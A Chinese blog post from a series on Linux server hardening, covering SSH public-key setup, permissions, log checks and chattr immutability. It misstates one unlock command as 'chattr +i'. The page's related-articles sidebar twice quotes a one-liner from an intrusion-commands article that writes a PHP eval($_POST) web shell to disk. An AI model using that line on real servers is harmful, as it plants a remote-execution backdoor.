linux服务器安全配置实例(一)引言

云豆贴心提醒,本文阅读时间6分钟

引言

很多企业的服务器经常遭受到攻击,出现的攻击方式有:http服务攻击、操作系统漏洞溢出攻击、sql注入攻击等。

大多服务器都托管在阿里云或者腾讯云上,这些云服务也都提供杀毒软件和防火墙功能,如:阿里云盾。上述攻击大部分都已经被厂商提供的云安全拦截住了,但是毕竟没有绝对的安全。

这里记录下我平时对服务器的安全配置,希望对大家有一些帮助,还是没有绝对的安全,但是能够防患未然还是好的。另外这里指出,在描述攻击我们的那些人,我拒绝使用黑客这个词语,黑客的含义已经被现在的社会涂上了一层让人憎恨讨厌的色彩,但是实际的含义并不是入侵、攻击、破解,所以在以后的描述中我与其他文章作者不同,采用另外的称号,就是恶意攻击者或恶意的小伙伴。

服务器配置

对于Linux操作系统,可以启动selinux和iptables对系统的访问进行过滤,同时可以降低用户权限,降低一些进程的运行权限。来保证服务器被渗透后的威胁降到最低。另外需要及时修复应用的漏洞,升级内核版本到稳定版,web应用程序足够强壮,降低数据库用户权限。 下面拿我的服务器举例,我的服务器配置如下:

  • 阿里云服务深圳可用区B
  • 带宽:2Mbps
  • CPU: 1核
  • 内存: 1024 MB
  • 带宽:2Mbps
  • 操作系统: CentOS 7.0 64位

在服务器上配置有tomcat7.0、jre7、nginx1.9.9、mariadb5.5、php5.4.16。对外提供我的blog和微信公众平台的接口。

站长站端口扫描结果如下:

可以看到,从扫描的结果来看几乎没有可利用的。 使用nmap在服务器上对本机进行扫描,结果:

而在外网对其进行扫描,是无法得出结果的:

这些配置相当简单,相对而言,对付真正的攻击还差很多,所以我们还需要进行其他的一系列配置。

ssh服务

ssh服务是最常用的远程登录服务,虽然其比telnet安全多,但是也存在一定的安全漏洞。一些不友好的小伙伴们会使用一些不和谐程序对ssh服务进行暴力破解。对ssh服务进行适当的配置可以完全杜绝暴力破解。同时对sshd服务进行优化配置可以加快连接速度,减少耗费带宽。

编辑/etc/ssh/sshd_config:

修改如下配置(注意如果配置前面有#,代表配置被注释,这里我只罗列出需要配置的,如果你的服务器上的配置被注释掉,去掉#打开注释即可。另外我会在配置旁边加上配置说明的注释):

注意,这里使用了公钥认证,所以需要生成登陆的私钥和公钥,将公钥上传到服务器上,并写入到上面的AuthorizedKeysFile配置指定的公钥文件中。对于这个文件有如下要求: ①、该文件权限必须是640,所以需要执行sudo chmod 640 公钥文件,如:sudo chmod 640 /home/kid/.ssh/authorized_keys。 ②、该文件的上层目录必须为700权限,所以需要执行sudo chmod 700 上层文件夹路径,如:sudo chmod 700 /home/kid。 ③、该文件可以放多个公钥,注意公钥由于特别长,有的生成工具会把一个公钥拆分成多行,但sshd服务要求一个公钥只能一行存放,所以一定要编辑成一行才好使。 上述配置完成后,重启sshd服务,sudo systemctl restart sshd,即可使用公钥认证远程登录到服务器,如果之前没使用过公钥登录的小伙伴,建议改完配置不要退出当前登录,等待重启完后再开一个连接测试下公钥认证能否发登录成功。如果不成功,需要注意上面的要求!!!同时可以使用没断开连接的终端执行sudo tail -f /var/log/message检查sshd服务的日志信息,同样也需执行sudo tail -f /var/log/secure检查sshd服务的认证日志信息。在tail -f 是实时从尾部监听一个服务,经常用于动态查看相关日志文件,由于是监听要退出的话需要按ctrl+c结束。这样sshd服务的安全性就有很大的提升了,当然在sshd服务中还可以配置允许登陆的ip和禁止登陆的ip,这个以后我会单开文章详细说明。另外为了我们的配置不被恶意篡改可以执行,可以执行sudo chattr +i /etc/ssh/sshd_config 和sudo chattr +i 公钥文件(如:sudo chattr +i /home/kid/.ssh/authorized_keys),chattr +i 命令会多某个文件设置隐藏状态位,设置后该文件即使是root和文件所有者都无法对该文件进行删除、修改、移动等操作,保证了该文件的安全。

即使恶意登陆者想对sshd服务进行重新配置,把自己的公钥加入公钥文件都是无法操作的。但当你确实想要修改这个文件的时候,可以使用 sudo chattr -i /etc/ssh/sshd_config以及sudo chattr +i /home/kid/.ssh/authorized_keys然后编辑这两个文件。

今天的分享就到这里了,下一篇我们会继续讲解服务器配置的实例。

原文发布于微信公众号 - 马哥Linux运维(magedu-Linux)

原文发表时间:2017-04-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小樱的经验随笔

【亲测有效】Win10家庭版Microsoft Edge页面出现乱码的两种解决方案及gpedit.msc命令无法使用的解决策略

昨天在爬取电影的时候生成的表单打开result.html时,发现页面出现如下乱码: ? 第一种方法: 上网找了半天,网上的解决方案是这样的: 1.Win + R...

4447
来自专栏我的博客

nodejs入门环境搭建

操作系统Ubuntu14.04 sudo add-apt-repository ppa:chris-lea/node.js sudo apt-get updat...

4035
来自专栏黑白安全

密码的锅,Gentoo 发布 GitHub 仓库被入侵事件报告

之前我们曾报道过“Gentoo Linux 的 GitHub 仓库被入侵,意图删除所有文件”的消息,Gentoo Linux 的 Github 仓库在6月28日...

1102
来自专栏程序人生

数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案,包括:内存,文件,数据库和消息队列,以及数据序列化/反序列化的方法。很多时候,工具就在那...

3766
来自专栏Golang语言社区

【Go 语言社区】开发中需要快速复制文件的批处理工具

开发过程中的快速复制,批处理代码如下: 将当前目录的所有文件复制到指定路径下,使用时候注意修改目录路径。 @echo off color f5 echo. ...

3695
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

2372
来自专栏ytkah

如何修改帝国cms文章点击量默认值和成倍增加

  我们在帝国cms发布完文章,在不点击的情况下,“点击量”默认显示为0,请问有什么方法,修改关注默认值吗?这个可以在增加信息时,“特殊属性”标签里修改点击量,...

2878
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

4202
来自专栏编程坑太多

悲观锁与乐观锁

1395
来自专栏Django Scrapy

mysql的安装

本次用的centos来学习mysql 安装前工作: 查看系统是否安装的mysql rpm -qa | grep mysql ? image.png 系统自...

31513

扫码关注云+社区

领取腾讯云代金券